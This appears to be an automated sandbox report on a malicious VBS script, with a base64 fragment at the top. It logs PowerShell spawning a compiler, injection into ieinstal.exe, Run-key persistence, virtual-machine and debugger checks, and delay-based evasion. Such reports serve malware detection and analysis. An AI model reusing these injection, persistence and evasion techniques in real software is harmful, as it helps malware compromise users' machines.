GgAYQB2AGUAMgAgAEcARQBSAE0AQQBOAEkAUwBUACAARABSAEUAVABTAFMAIABFAE4AUwBQAE8AUgBFAFQASAAgAFMAdABlAGQAbQBvAGQANwAgAFMAdgBvAHYAbABzAHkAcgBlACAAQgBvAHIAZwBlAHIAcgAgAEsAbwBsAHAAbwByAHQAMQAgAHAAbABlAHUAcgBvAHQAIAANAAoAIwBiAG8AbgBzAGEAaQAgAFAAcwBlAHUAZABvACAAZgByAGkAdABpAGQAcwBjAGUAbgAgAFQARQBBAFQARQBSAEcATgAgAFAATABBAE4ARQBSAFMAIABWAEkATgBEAE0AIABTAHAAYQBsAHQAZQAgAFQAYQBiAGUAbAAyACAAQQBtAGIAYQBkAGUAZQBkAGkAZQAgAEMAaQBuAGQAZQByAHMAYgBhAG4AIABDAG8AYQB0AHQAMwAgAEMASABSAE8ATQBBAFQAIABjAGEAcgBsACAAUwB0AGkAZgB0ADEAIABzAHQAdgBmAG4AIABLAG8AbQBtAHUAbgBhADMAIABSAFIAVABBAE4AIABOAG8AbgBvAGkAbAAgAA0ACgAjAHMAZQBwAHQAZQBuAGEAdAAgAFAAcwBlAHUAZABvAGEAbQBiADgAIABOAG8AbgByAGEAYwBpAGEAIABWAGwAZwBlAHIAZQBzAGsAMwAgAEQAbwBnAGgAbwAgAFAAcgBvAGcAcgBhAG0AbQAgAEYATABVAEcAVABTAEsAWQBEACAAYwBsAGEAdQBzAHQAIABTAEUATABWAEYASQBOACAADQAKACMAZABpAHMAcABlAG4AcwAgAEEARgBGAEEATABEAFMAUAAgAFAAbABuAGUAcgBuAGUAcgAgAEcAbwByAGQAeQBrAG4AMQAgAEIAaQBvAGUAbAAgAFIAaABpAHoAIABOAG8AbgBhAGQAagBhADkAIABCAHIAaQBzADIAIABTAFQAVQBEACAAawBvAHIAcABvAHIAbABpAGcAdAAgAEMAaABhAHIAYwB1AHQAaQAyACAATQBhAGwAdABpAG4AZwBwAGUANgAgAFMAaQBrAGsAZQByAGgAMwAgAFUATgBJAFQASQBOAEcASQBOACAAZABpAHMAZQBuAHMAIAANAAoAIwBTAFAASQBTACAAcwB0AHIAeQBrAG4AaQAgAFQAcgBlAGEAcwB1AHIAZQAyACAAZgByAGUAZQB6ACAARABpAHMAbwByAGQAZQAgAEMAaQBmAGYAZQByAGYAbAAgAG0AZQB0AGEAZwBlAHMAIABVAHMAdABlAG0AcAAgAGUAZgB0AGUAcgBrAG8AbQBtACAAUwB5AG4AcwBtAHMANAAgAEwATgBTAEwAQQBWAEUAUwBSACAAQwBhAHQAcwA0ACAAcwBvAHYAcwAgAFcAaQBuAHMAIABQAHIAZQBjAGUAcAB0AGEANwAgAFQAQQBSAFMATwBNAEEATAAgAE8AYgBzAHQAZQByAG4AYQBzAGkANAAgAEUARgBUAEUAUgBUAFIAIABCAGwAZQBzAGsAdQBkADIAIAANAAoAIwB3AG8AbwBsAGUAbgBzAHIAIABQAEwATwBDAEUASQBGAE8AUgBNACAAUgBhAHUAbgBvACAAVABZAFAARQBSACAAaQBuAG4AdQBlAG4AZABvACAAUgBBAFAAUAAgAEIAbwBnAHMAdABhAHYAawAgAHUAYgBlAHMAIABBAGIAcwBpAG4AdABoACAARgBvAHIAcw Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220512 Jump to behavior
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\OVER.dat Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winVBS@15/12@15/5
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Mutant created: \Sessions\1\BaseNamedObjects\oMDTItPV
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8852:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8852:120:WilError_03
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\PO-19903.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: $}l8C:\Users\user\AppData\Local\Temp\ppgnlr3u\ppgnlr3u.pdb source: powershell.exe, 00000002.00000002.4964701496.0000000005284000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

barindex
Source: Yara match File source: 00000009.00000000.4302405352.0000000000630000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_085EB2FE push eax; iretd 2_2_085EB2FF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_085EB4F6 pushad ; iretd 2_2_085EB4F7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08639C98 pushfd ; ret 2_2_08639E0D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08639DF0 pushfd ; ret 2_2_08639E0D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08670028 push esp; retf 2_2_08670031
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_086731AC pushad ; iretd 2_2_086731AD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0874FB90 push 00000008h; ret 2_2_0874FBA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0874A200 push 00000008h; ret 2_2_0874A210
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_087F58D0 push eax; retf 2_2_087F58D1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_087F43E8 pushad ; ret 2_2_087F43E9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_087F44F0 pushfd ; ret 2_2_087F44F1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08F692E2 push eax; mov dword ptr [esp], edx 2_2_08F692F4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ppgnlr3u\ppgnlr3u.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ppgnlr3u\ppgnlr3u.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\ppgnlr3u\ppgnlr3u.dll Jump to dropped file
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Denialsch Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Denialsch Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion

barindex
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7480 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 392 Thread sleep count: 81 > 30 Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 392 Thread sleep time: -6075000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ppgnlr3u\ppgnlr3u.dll Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 8057 Jump to behavior
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Thread delayed: delay time: 75000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe System information queried: ModuleInformation Jump to behavior
Source: ieinstal.exe, 00000009.00000002.8458764109.0000000002BBE000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000009.00000002.8457496133.0000000002B79000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process queried: DebugPort Jump to behavior

HIPS / PFW / Operating System Protection Evasion

barindex
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Internet Explorer\ieinstal.exe base: 630000 Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #Disdai Dishuma5 Sort TAFFE Crampoond GRUNTINGB Preambulat3 Assimil6 Fursemideb Furiensdec Alarmure2 Chorib HUMO FISTELSTEM Stege chesse barrymor Anngrethe3 #Remingli4 ernr Bespyt Sulphozin8 VIRGULA IFRD Fore Pluralveks1 Profilenu nonfo Injust9 Nourishmen3 tomahavken Essay1 BLAA transmog hulk inlaye #kvar Kobangfor6 Hyperarc6 GARDEROBEN Oncosphere Bunglin BARYT TOMASTE CORROBORAT CYKELPAR Stadslg3 Bacilleb BLURTIN administr Milieub3 Bladele8 apometab #Peal8 King9 Opmrkerco IDELIGESI Systemat7 Preoper3 Reso SPAGNUM Land reckoni depraver fartjsfort LANN Griffonag3 AFSE hjsd analysearb AMULAS #unjolly Instrumen GLALIINGL Resoap Womani Leggier5 UNBREAKING Orillio adrea ALTOLAT Fago2 Inflammat6 COCKNEYDOM SYMPOSI gravereu FORUD FASTRESFI Kontrol SKRLEV ANALYTIKER UNCR Sortsr vidnefrs EOCARBO Takt Betvivler3 Velar #Revancher Wordables lousierma indlogrbrn Atta REBLOWNGU QUEBRITHC GRNSEOVERG frytlernes LEMPELIGES #andelss Camballm4 Sortering Lngstleven outboxe SIGNIFICAT Mana DUNKARD Unscor tronb hypohemiag MATTESTE engros Feri2 UNCONVE Mindstehj Nitrogen chev Korp6 stted miskred umenneske Galoplo Udskriv2 MAGNETOMET TRILLIONTH HAARBRSTE Immatc6 drueh Ssla Countryro2 Nonex #Alisphen sula idmmel Tribrac2 Tilegnel Unde dksd tujasur Circ8 Broo Appe1 Oksehude netstroem Teknolog2 klore BALLADR UNFLUTTERE boyko Tilbringe physi FELWO Generisktv5 Sukke Lodgeart3 #Unevada Enceph2 poleremi zakariass scoll Boatl7 Samar Hutchi acetanion INTE Stubb alde Lambk Nonretra Skan
Source: C:\Windows\SysWOW64\wscript.exe Process created: Base64 decoded #meso dittog stjerthage Prevaricat1 Pyrol6 delumini Tastear7 tropo engr nonrepenta #Smitty1 SPRENG UNVIS Allerhv Archip9 RINGMRKNI Uncon9 JENBRY Ejakule STJER KOMMUNIK Sortk8 phae Uqvsy Monop3 Countercl1 baalambs Explosibl EPIGR Cephalohum tegnt GPSEMULS Aflaas6 Asbk6 #abidi Peng9 apha Caulkers TRFFE Typhoonto3 krapinaf Enligsti2 Sankthans Gennem8 Celiec6 Katj #Epilepsien SEMISOLU sprednin METHY Parame Brnehave2 GERMANIST DRETSS ENSPORETH Stedmod7 Svovlsyre Borgerr Kolport1 pleurot #bonsai Pseudo fritidscen TEATERGN PLANERS VINDM Spalte Tabel2 Ambadeedie Cindersban Coatt3 CHROMAT carl Stift1 stvfn Kommuna3 RRTAN Nonoil #septenat Pseudoamb8 Nonracia Vlgeresk3 Dogho Programm FLUGTSKYD claust SELVFIN #dispens AFFALDSP Plnerner Gordykn1 Bioel Rhiz Nonadja9 Bris2 STUD korporligt Charcuti2 Maltingpe6 Sikkerh3 UNITINGIN disens #SPIS strykni Treasure2 freez Disorde Cifferfl metages Ustemp efterkomm Synsms4 LNSLAVESR Cats4 sovs Wins Precepta7 TARSOMAL Obsternasi4 EFTERTR Bleskud2 #woolensr PLOCEIFORM Rauno TYPER innuendo RAPP Bogstavk ubes Absinth Forsknin HOTELVRT Skinn bedriften BROK forskudsb Misi Auma6 Mossernes #Hemihyperi Aikos makrofu pillmaking Habanerasd Trol6 RYGTIKAMPE TRFLERNEPO modstands Dynami pulvin Hysterecto1 Mtni chart LEMMATAAN Knsk6 filstrukt #KOERSLE STYREVARIA Blnde Sedim4 CROS DUELLERE krummesu Pseudop sher Standhaf forve Skatteafde REVERSA TRILLIONTA Prrie Hvid Damr1 Unsu9 sanjaspew flyde LINGUOVERS Respo9 #tilf Shotgunaf6 Zuniss2 b
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #Disdai Dishuma5 Sort TAFFE Crampoond GRUNTINGB Preambulat3 Assimil6 Fursemideb Furiensdec Alarmure2 Chorib HUMO FISTELSTEM Stege chesse barrymor Anngrethe3 #Remingli4 ernr Bespyt Sulphozin8 VIRGULA IFRD Fore Pluralveks1 Profilenu nonfo Injust9 Nourishmen3 tomahavken Essay1 BLAA transmog hulk inlaye #kvar Kobangfor6 Hyperarc6 GARDEROBEN Oncosphere Bunglin BARYT TOMASTE CORROBORAT CYKELPAR Stadslg3 Bacilleb BLURTIN administr Milieub3 Bladele8 apometab #Peal8 King9 Opmrkerco IDELIGESI Systemat7 Preoper3 Reso SPAGNUM Land reckoni depraver fartjsfort LANN Griffonag3 AFSE hjsd analysearb AMULAS #unjolly Instrumen GLALIINGL Resoap Womani Leggier5 UNBREAKING Orillio adrea ALTOLAT Fago2 Inflammat6 COCKNEYDOM SYMPOSI gravereu FORUD FASTRESFI Kontrol SKRLEV ANALYTIKER UNCR Sortsr vidnefrs EOCARBO Takt Betvivler3 Velar #Revancher Wordables lousierma indlogrbrn Atta REBLOWNGU QUEBRITHC GRNSEOVERG frytlernes LEMPELIGES #andelss 